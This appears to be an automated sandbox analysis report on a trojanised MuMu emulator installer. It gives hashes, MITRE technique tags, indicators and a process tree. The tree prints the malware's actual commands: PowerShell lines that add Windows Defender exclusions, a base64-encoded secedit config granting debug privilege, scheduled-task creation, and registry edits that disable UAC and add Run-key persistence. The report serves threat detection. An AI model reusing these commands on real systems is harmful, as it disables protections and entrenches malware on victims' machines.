959001875232215e49463f8528c5786a741fda70e8b0fd95159ebdb0b41e140a

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 12:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
mumumnq2.4.exe
Size 11.2MB
Sample260720-pn52facv5t
SHA256 959001875232215e49463f8528c5786a741fda70e8b0fd95159ebdb0b41e140a
MD5 2a3c992c2c3458c5da1006d1dccfe3c8
SHA1 d9626c6d05c2083231e257ad505afc9e41b847a7
SHA512 7430d837609fe7b102dca02117799e2248ae8259330a5209afff88f24662c3dd69d154f463ba73c7d407e6fd0d170a409c7daac5ba923534ea1cfb64f4926193
SSDEEP 196608:FQXqhoqk30RlSxZZM1MeJ76uFFkOuPlB+xGo3u0VWjcc02vVZoL:6XqHI0+HXMeS3FMvVZQ
TLSH
T184C61286A2AC50F8D157C17CC8168A4BEBF2F8910B31C7DF01A9966F6F772A10D29357
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 3 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	dllhost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4676	powershell.exe
2296	powershell.exe
3224	powershell.exe
2116	powershell.exe
3664	powershell.exe
2692	powershell.exe
3664	powershell.exe
4676	powershell.exe
2296	powershell.exe
3224	powershell.exe
2116	powershell.exe

Executes dropped EXE 11 IoCs

pid	Process
3320	irsetup.exe
244	iusb3mon.exe
1916	MuMu_Ä£ÄâÆ÷.exe
1572	nemu-downloader.exe
5392	crashpad_handler.exe
5616	iusb3mon.exe
3272	ColaBoxChecker.exe
1216	iusb3mon.exe
5704	HyperVChecker.exe
4904	HyperVChecker.exe
3552	HyperVChecker.exe

Loads dropped DLL 7 IoCs

pid	Process
3320	irsetup.exe
1572	nemu-downloader.exe
1572	nemu-downloader.exe
1572	nemu-downloader.exe
1572	nemu-downloader.exe
5392	crashpad_handler.exe
5392	crashpad_handler.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MicrosoftUSBMonitor = "C:\\Users\\Admin\\AppData\\Local\\iusb3mon.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUSBMonitor = "C:\\Users\\Admin\\AppData\\Local\\iusb3mon.exe"	dllhost.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	nemu-downloader.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of SetThreadContext 15 IoCs

description	pid	Process	procid_target
PID 244 set thread context of 5004	244	iusb3mon.exe	102
PID 5004 set thread context of 5816	5004	dllhost.exe	109
PID 5616 set thread context of 1004	5616	iusb3mon.exe	118
PID 5004 set thread context of 3044	5004	dllhost.exe	127
PID 1216 set thread context of 1876	1216	iusb3mon.exe	129
PID 5004 set thread context of 5532	5004	dllhost.exe	139
PID 5004 set thread context of 572	5004	dllhost.exe	140
PID 5004 set thread context of 5708	5004	dllhost.exe	141
PID 5004 set thread context of 3956	5004	dllhost.exe	142
PID 5004 set thread context of 5264	5004	dllhost.exe	143
PID 5004 set thread context of 1776	5004	dllhost.exe	144
PID 5004 set thread context of 5580	5004	dllhost.exe	145
PID 5004 set thread context of 4204	5004	dllhost.exe	146
PID 5004 set thread context of 2736	5004	dllhost.exe	147
PID 5004 set thread context of 3032	5004	dllhost.exe	148

UPX packed file 59 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c544-5.dat	upx
behavioral2/memory/3320-9-0x00007FF6EB620000-0x00007FF6EBE03000-memory.dmp	upx
behavioral2/memory/3320-56-0x00007FF6EB620000-0x00007FF6EBE03000-memory.dmp	upx
behavioral2/memory/5004-71-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-73-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-72-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-69-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-70-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-66-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-64-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-63-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-68-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-60-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-67-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-65-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-62-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-61-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-83-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-91-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-90-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-99-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-95-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-88-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-86-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-82-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-220-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-229-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-231-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/1004-252-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-251-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-250-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-249-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-247-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-246-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-244-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-242-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-241-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-239-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-248-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-245-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-243-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/1004-240-0x0000000001480000-0x0000000001569000-memory.dmp	upx
behavioral2/memory/5004-254-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/5004-331-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx
behavioral2/memory/1876-332-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-334-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-336-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-337-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-339-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-343-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-345-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-344-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-342-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-341-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-340-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-338-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-335-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/1876-333-0x0000000001340000-0x0000000001429000-memory.dmp	upx
behavioral2/memory/5004-348-0x0000000000CE0000-0x0000000000DC9000-memory.dmp	upx

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe	irsetup.exe
File created	C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe	irsetup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2660	cmd.exe
5052	cmd.exe
2052	cmd.exe
1008	cmd.exe
4376	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iusb3mon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iusb3mon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MuMu_Ä£ÄâÆ÷.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iusb3mon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nemu-downloader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crashpad_handler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ColaBoxChecker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1088	timeout.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	irsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	irsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	irsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	irsetup.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2116	powershell.exe
2116	powershell.exe
2116	powershell.exe
3664	powershell.exe
3664	powershell.exe
3664	powershell.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
1572	nemu-downloader.exe
1572	nemu-downloader.exe
4676	powershell.exe
4676	powershell.exe
2692	powershell.exe
2692	powershell.exe
4676	powershell.exe
2692	powershell.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe
5004	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5004	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeIncreaseQuotaPrivilege	2116	powershell.exe
Token: SeSecurityPrivilege	2116	powershell.exe
Token: SeTakeOwnershipPrivilege	2116	powershell.exe
Token: SeLoadDriverPrivilege	2116	powershell.exe
Token: SeSystemProfilePrivilege	2116	powershell.exe
Token: SeSystemtimePrivilege	2116	powershell.exe
Token: SeProfSingleProcessPrivilege	2116	powershell.exe
Token: SeIncBasePriorityPrivilege	2116	powershell.exe
Token: SeCreatePagefilePrivilege	2116	powershell.exe
Token: SeBackupPrivilege	2116	powershell.exe
Token: SeRestorePrivilege	2116	powershell.exe
Token: SeShutdownPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeSystemEnvironmentPrivilege	2116	powershell.exe
Token: SeRemoteShutdownPrivilege	2116	powershell.exe
Token: SeUndockPrivilege	2116	powershell.exe
Token: SeManageVolumePrivilege	2116	powershell.exe
Token: 33	2116	powershell.exe
Token: 34	2116	powershell.exe
Token: 35	2116	powershell.exe
Token: 36	2116	powershell.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeIncreaseQuotaPrivilege	3664	powershell.exe
Token: SeSecurityPrivilege	3664	powershell.exe
Token: SeTakeOwnershipPrivilege	3664	powershell.exe
Token: SeLoadDriverPrivilege	3664	powershell.exe
Token: SeSystemProfilePrivilege	3664	powershell.exe
Token: SeSystemtimePrivilege	3664	powershell.exe
Token: SeProfSingleProcessPrivilege	3664	powershell.exe
Token: SeIncBasePriorityPrivilege	3664	powershell.exe
Token: SeCreatePagefilePrivilege	3664	powershell.exe
Token: SeBackupPrivilege	3664	powershell.exe
Token: SeRestorePrivilege	3664	powershell.exe
Token: SeShutdownPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeSystemEnvironmentPrivilege	3664	powershell.exe
Token: SeRemoteShutdownPrivilege	3664	powershell.exe
Token: SeUndockPrivilege	3664	powershell.exe
Token: SeManageVolumePrivilege	3664	powershell.exe
Token: 33	3664	powershell.exe
Token: 34	3664	powershell.exe
Token: 35	3664	powershell.exe
Token: 36	3664	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeIncreaseQuotaPrivilege	4676	powershell.exe
Token: SeSecurityPrivilege	4676	powershell.exe
Token: SeTakeOwnershipPrivilege	4676	powershell.exe
Token: SeLoadDriverPrivilege	4676	powershell.exe
Token: SeSystemProfilePrivilege	4676	powershell.exe
Token: SeSystemtimePrivilege	4676	powershell.exe
Token: SeProfSingleProcessPrivilege	4676	powershell.exe
Token: SeIncBasePriorityPrivilege	4676	powershell.exe
Token: SeCreatePagefilePrivilege	4676	powershell.exe
Token: SeBackupPrivilege	4676	powershell.exe
Token: SeRestorePrivilege	4676	powershell.exe
Token: SeShutdownPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeSystemEnvironmentPrivilege	4676	powershell.exe
Token: SeRemoteShutdownPrivilege	4676	powershell.exe
Token: SeUndockPrivilege	4676	powershell.exe
Token: SeManageVolumePrivilege	4676	powershell.exe
Token: 33	4676	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3320	irsetup.exe
3320	irsetup.exe
3320	irsetup.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3384 wrote to memory of 3320	3384	mumumnq2.4.exe	89
PID 3320 wrote to memory of 4376	3320	irsetup.exe	90
PID 4376 wrote to memory of 2116	4376	cmd.exe	92
PID 3320 wrote to memory of 2660	3320	irsetup.exe	94
PID 2660 wrote to memory of 3664	2660	cmd.exe	96
PID 3320 wrote to memory of 5052	3320	irsetup.exe	97
PID 5052 wrote to memory of 1088	5052	cmd.exe	99
PID 3320 wrote to memory of 244	3320	irsetup.exe	100
PID 3320 wrote to memory of 1916	3320	irsetup.exe	101
PID 244 wrote to memory of 5004	244	iusb3mon.exe	102
PID 244 wrote to memory of 5004	244	iusb3mon.exe	102
PID 5004 wrote to memory of 2692	5004	dllhost.exe	103
PID 5004 wrote to memory of 4676	5004	dllhost.exe	104
PID 1916 wrote to memory of 1572	1916	MuMu_Ä£ÄâÆ÷.exe	107
PID 1572 wrote to memory of 5392	1572	nemu-downloader.exe	108
PID 5004 wrote to memory of 5816	5004	dllhost.exe	109
PID 5004 wrote to memory of 5816	5004	dllhost.exe	109
PID 5004 wrote to memory of 5816	5004	dllhost.exe	109
PID 5004 wrote to memory of 5816	5004	dllhost.exe	109
PID 5004 wrote to memory of 5816	5004	dllhost.exe	109
PID 5004 wrote to memory of 5816	5004	dllhost.exe	109
PID 5004 wrote to memory of 5816	5004	dllhost.exe	109
PID 5004 wrote to memory of 5816	5004	dllhost.exe	109
PID 5004 wrote to memory of 5816	5004	dllhost.exe	109
PID 5004 wrote to memory of 2052	5004	dllhost.exe	110
PID 5004 wrote to memory of 1008	5004	dllhost.exe	112
PID 2052 wrote to memory of 5144	2052	cmd.exe	114
PID 1008 wrote to memory of 4780	1008	cmd.exe	115
PID 5616 wrote to memory of 1004	5616	iusb3mon.exe	118
PID 5616 wrote to memory of 1004	5616	iusb3mon.exe	118
PID 1572 wrote to memory of 3272	1572	nemu-downloader.exe	119
PID 2692 wrote to memory of 1360	2692	powershell.exe	122
PID 5004 wrote to memory of 2296	5004	dllhost.exe	123
PID 5004 wrote to memory of 3224	5004	dllhost.exe	125
PID 5004 wrote to memory of 3044	5004	dllhost.exe	127
PID 5004 wrote to memory of 3044	5004	dllhost.exe	127
PID 5004 wrote to memory of 3044	5004	dllhost.exe	127
PID 5004 wrote to memory of 3044	5004	dllhost.exe	127
PID 5004 wrote to memory of 3044	5004	dllhost.exe	127
PID 5004 wrote to memory of 3044	5004	dllhost.exe	127
PID 5004 wrote to memory of 3044	5004	dllhost.exe	127
PID 5004 wrote to memory of 3044	5004	dllhost.exe	127
PID 5004 wrote to memory of 3044	5004	dllhost.exe	127
PID 1216 wrote to memory of 1876	1216	iusb3mon.exe	129
PID 1216 wrote to memory of 1876	1216	iusb3mon.exe	129
PID 1572 wrote to memory of 5704	1572	nemu-downloader.exe	130
PID 1572 wrote to memory of 4904	1572	nemu-downloader.exe	132
PID 1572 wrote to memory of 3552	1572	nemu-downloader.exe	134
PID 5004 wrote to memory of 5532	5004	dllhost.exe	139
PID 5004 wrote to memory of 5532	5004	dllhost.exe	139
PID 5004 wrote to memory of 5532	5004	dllhost.exe	139
PID 5004 wrote to memory of 5532	5004	dllhost.exe	139
PID 5004 wrote to memory of 5532	5004	dllhost.exe	139
PID 5004 wrote to memory of 5532	5004	dllhost.exe	139
PID 5004 wrote to memory of 5532	5004	dllhost.exe	139
PID 5004 wrote to memory of 5532	5004	dllhost.exe	139
PID 5004 wrote to memory of 5532	5004	dllhost.exe	139
PID 5004 wrote to memory of 572	5004	dllhost.exe	140
PID 5004 wrote to memory of 572	5004	dllhost.exe	140
PID 5004 wrote to memory of 572	5004	dllhost.exe	140
PID 5004 wrote to memory of 572	5004	dllhost.exe	140
PID 5004 wrote to memory of 572	5004	dllhost.exe	140
PID 5004 wrote to memory of 572	5004	dllhost.exe	140
PID 5004 wrote to memory of 572	5004	dllhost.exe	140

C:\Users\Admin\AppData\Local\Temp\mumumnq2.4.exe
"C:\Users\Admin\AppData\Local\Temp\mumumnq2.4.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3384
- C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
  "C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" __IRAOFF:5226434 "__IRAFN:C:\Users\Admin\AppData\Local\Temp\mumumnq2.4.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-1875162379-3804078649-638427191-1000"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3320
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4376
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2116
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'mumumnq2.4.exe' -Force" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'mumumnq2.4.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3664
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 2 /nobreak >nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5052
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1088
- - C:\Users\Admin\AppData\Local\iusb3mon.exe
    "C:\Users\Admin\AppData\Local\iusb3mon.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:244
  - - C:\Windows\SysWOW64\dllhost.exe
      "C:\Windows\SysWOW64\dllhost.exe"
      4⤵
      UAC bypass
      Adds Run key to start application
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of WriteProcessMemory
      PID:5004
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -Command "$temp = $env:TEMP;$inf = Join-Path $temp 'SeDebugPrivilege.inf';$sdb = Join-Path $temp 'SeDebugPrivilege.sdb';$log = Join-Path $temp 'SeDebugPrivilege.log';$b64 = '//5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA=';[IO.File]::WriteAllBytes($inf, [Convert]::FromBase64String($b64));secedit.exe /configure /db $sdb /cfg $inf /overwrite /log $log /quiet;Start-Sleep -Seconds 5;Remove-Item -Path $inf -Force;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2692
      - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.log /quiet
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1360
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Local\ziliao.jpg'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4676
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:5816
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c schtasks.exe /query /tn "WinSvcMon_3C6F10A0" >nul 2>&1
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2052
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /query /tn "WinSvcMon_3C6F10A0"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5144
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c schtasks.exe /create /tn "WinSvcMon_3C6F10A0" /xml "C:\Users\Admin\AppData\Local\Temp\240730031_wd.xml" /f >nul 2>&1
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1008
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "WinSvcMon_3C6F10A0" /xml "C:\Users\Admin\AppData\Local\Temp\240730031_wd.xml" /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4780
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2296
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'iusb3mon.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
